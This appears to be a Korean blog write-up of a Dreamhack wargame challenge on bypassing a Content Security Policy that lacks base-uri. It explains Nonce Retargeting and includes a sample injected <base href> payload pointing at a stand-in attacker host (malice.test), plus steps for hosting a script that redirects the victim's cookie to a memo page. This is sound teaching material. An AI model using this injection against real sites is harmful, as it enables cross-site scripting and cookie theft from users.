2003
[Wargame] CSP Bypass Advanced 본문
CSP Bypass의 패치된 문제입니다.
Navi
1. CSP 정책이 설정되어 있는 것을 확인
response.headers['Content-Security-Policy'] =
f"default-src 'self';
img-src https://dreamhack.io;
style-src 'self' 'unsafe-inline';
script-src 'self' 'nonce-{nonce}';
object-src 'none'"
* default-src: 정책이 설정되지 않았거나 잘못 설정되었을 시 기본적으로 출처는 현재 도메인 ( host3.dreamhack.games)으로 제한
* img-src: 이미지, favicon 등의 출처는 https://dreamhack.io
* style-src: stylesheet의 출처는 현재 도메인으로 제한하고, HTML 요소 내부에 인라인 스타일을 사용할 수 있도록 허용
* script-src: javascript 등의 출처는 현재 도메인으로 제한하고, 특정 nonce 값을 가진 스크립트만 실행할 수 있도록 허용
* object-src: 어떤 출처도 허용되지 않으므로, <object> 태그를 사용하여 외부 리소스를 로드하지 못함
2. 입력한 페이로드는 HTML로 인코딩되어 나타나며 nonce 값도 예측할 수 없기 때문에, 직접 스크립트 삽입은 불가능해 보입니다.
Exploit
1. base-uri 에 대한 CSP 정책이 지정되어 있지 않습니다.
- HTML 하이퍼링크에서 호스트 주소 없이 경로를 지정할 시 현재 문서를 기준으로 주소를 해석
- <base> 태그로 경로가 해석되는 기준점을 변경할 수 있으며, <a>, <form> 등의 target 속성의 기본값 또한 변경됨
- <base> 태그로 기준점을 변경 시, HTML의 상대 경로를 사용하는 URL들이 의도치 않게 다른 위치(공격자의 서버 등)의 자원을 가리키게 될 수 있으며 공격자는 이를 통해 임의의 스크립트를 HTML에 포함시킬 수 있음
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
<!-- jquery.js는 base 태그에 의해 https://malice.test/jquery.js를 가리킵니다. -->
- 이러한 공격을 Nonce Retargeting 이라고 함
2. vuln 페이지에 다음과 같은 스크립트를 불러오도록 nonce와 함께 지정되어 있습니다. 따라서 Nonce Retargeting 공격을 시도해 볼 수 있습니다.

Conclusion
base-uri에 대한 제한이 없으니, <base> 태그를 삽입하여 경로가 해석되는 기준점을 공격자 서버로 둔다.
공격자 서버에서 페이지에 포함된 script들을 불러올 수 있도록 똑같은 경로에 스크립트 파일을 생성한다.
해당 스크립트 파일의 내용에 공격 페이로드를 작성한다.
1. 공격자 서버는 github.io를 이용하였습니다. 외부에서도 접근 가능해야 하기에 로컬 웹서버는 사용 불가능 합니다.
github.io에 /static/js 경로를 생성하고, jquery.min.js 혹은 bootstrap.min.js 이름의 스크립트 파일을 생성합니다.
2. 해당 스크립트 파일에는 내용을 다음과 같이 작성해 줍니다. memo로 리다이렉트하여 cookie 값을 memo에 남도록 하면 플래그 값을 얻을 수 있습니다.

3. 왜 127.0.0.1:8000 주소를 쓰는지는 app.py을 살펴보면 다음과 같이 0.0.0.0 ip 및 8000번 포트에서 서버가 실행되고 있기 때문입니다.
app.run(host="0.0.0.0", port=8000)
4. 세팅 후 flag 페이지에는 <base href="https://***.github.io/">와 같이 개인 웹서버 주소를 삽입하여, vuln 페이지 내 script들이 개인 서버의 자원을 가리키도록 합니다.

5. 플래그를 얻을 수 있습니다.

'보안 > WEB' 카테고리의 다른 글
| [Wargame] Client Side Template Injection (0) | 2024.04.02 |
|---|---|
| [WEB] CSTI(Client Side Template Injection) 취약점 (0) | 2024.02.21 |
| [Wargame] Dreamhack CSRF Advanced (0) | 2024.02.16 |
| [WEB] SSTI(Server-Side Template Injection) 취약점 - Jinja2 (1) (0) | 2024.02.05 |
| [WEB] 웹 프레임워크의 역사 (0) | 2024.02.01 |